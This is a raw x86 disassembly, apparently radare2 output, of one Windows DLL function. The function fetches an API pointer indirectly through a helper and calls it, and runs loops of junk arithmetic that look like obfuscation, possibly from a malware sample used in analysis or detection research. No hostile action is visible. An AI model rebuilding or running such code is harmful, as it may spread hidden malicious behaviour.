mov edx, dword [ebp - 0x27c]
sub edx, dword [ebp - 0x1ec]
mov ecx, dword [ebp - 0xd4]
and ecx, edx
cmp eax, ecx
je 0x10008d79
mov dword [ebp - 0xd8], 0
push 0x1003b30c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [0x1004a06b], al
mov dx, word [ebp - 0x48]
mov word [ebp - 0x70], dx
lea eax, [ebp - 0x970]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [ebp - 0x30], eax
movzx ecx, word [ebp - 0x70]
mov edx, dword [ebp - 0x280]
mov eax, dword [edx + ecx*4]
add eax, dword [ebp + 8]
mov dword [ebp - 0x284], eax
movzx ecx, word [ebp - 0x78]
movzx edx, word [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
add edx, dword [eax + 0x10]
cmp ecx, edx
je 0x10008de4
cmp dword [ebp - 0xd8], 0
je 0x10008e76
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xd8]
push edx
push 0
push 0
call fcn.10001110
add esp, 8
call eax
test eax, eax
jne 0x10008e76
mov dword [ebp - 0xdc], 0
jmp 0x10008dff
mov eax, dword [ebp - 0xdc]
add eax, 2
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x1f1
jge 0x10008e68
mov ecx, dword [0x1004a170]
or ecx, dword [0x1004a174]
je 0x10008e2d
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x204], edx
mov dword [ebp - 0x200], eax
jmp 0x10008e3e
movzx eax, word [ebp - 0x20]
cdq
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x200], edx
mov ecx, dword [ebp - 0x204]
mov edx, dword [ebp - 0x200]
mov dword [0x1004a188], ecx
mov dword [0x1004a18c], edx
mov ax, word [0x1004a0f0]
add ax, 1
mov word [0x1004a0f0], ax
jmp 0x10008df0
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x1f0], ecx
jmp 0x10008e7b
jmp 0x10007953
mov ecx, dword [0x1004a0c0]
mov esi, dword [0x1004a0c4]
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x508], ecx
mov dword [ebp - 0x504], esi
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], edx
mov edx, dword [ebp - 0x504]
cmp edx, dword [ebp - 0x50c]
jg 0x10008f52
jl 0x10008eca
mov eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0x510]
jae 0x10008f52
mov dword [ebp - 0xb0], 0
jmp 0x10008ee5
mov ecx, dword [ebp - 0xb0]
add ecx, 2
mov dword [ebp - 0xb0], ecx
cmp dword [ebp - 0xb0], 0x2ab
jge 0x10008f4d
mov edx, dword [ebp - 0x60]
not edx
mov ecx, edx
add ecx, dword [ebp - 0x38]
movzx eax, word [ebp - 0xc]
movsx edx, byte [0x1004a092]
not edx
add eax, edx
cdq
mov edx, dword [0x1004a188]
mov esi, dword [0x1004a18c]
mov dword [ebp - 0x5b4], esi
xor eax, edx
add ecx, eax
mov word [ebp - 0x14], cx
mov eax, dword [0x1004a14c]
xor ecx, ecx
sub eax, 0x502578b6
sbb ecx, 0x809f7
mov dword [str.J64_], eax
mov dword [0x1004a13c], ecx
mov dl, byte [ebp - 1]
add dl, 1
mov byte [ebp - 1], dl
jmp 0x10008ed6
jmp 0x10009028
movsx eax, word [ebp - 0x14]
test eax, eax
jne 0x10008f66
mov dword [ebp - 0x1b0], 1
jmp 0x10008f70
mov dword [ebp - 0x1b0], 0
cmp dword [ebp - 0x1b0], 0
jne 0x10008f8d
xor ecx, ecx
mov dword [ebp - 0x26c], 1
mov dword [ebp - 0x268], ecx
jmp 0x10008f98
xorps xmm0, xmm0
movlpd qword [ebp - 0x26c], xmm0
movzx eax, word [ebp - 0x10]
cdq
mov esi, eax
mov edi, edx
add esi, dword [0x1004a118]
adc edi, dword [0x1004a11c]
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [0x1004a0f8]
mov ebx, dword [0x1004a0fc]
push edx
push eax
push ebx
push ecx
call fcn.1002e960
add eax, dword [ebp - 0x26c]
adc edx, dword [ebp - 0x268]
add esi, eax
adc edi, edx
mov dword [ebp - 0x518], esi
mov dword [ebp - 0x514], edi
mov edx, dword [ebp - 0x518]
or edx, dword [ebp - 0x514]
jne 0x10009005
xor eax, eax
mov dword [ebp - 0x274], 1
mov dword [ebp - 0x270], eax
jmp 0x10009010
xorps xmm0, xmm0
movlpd qword [ebp - 0x274], xmm0
mov ecx, dword [ebp - 0x274]
mov edx, dword [ebp - 0x270]
mov dword [0x1004a170], ecx
mov dword [0x1004a174], edx
mov eax, dword [ebp - 0x1f0]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8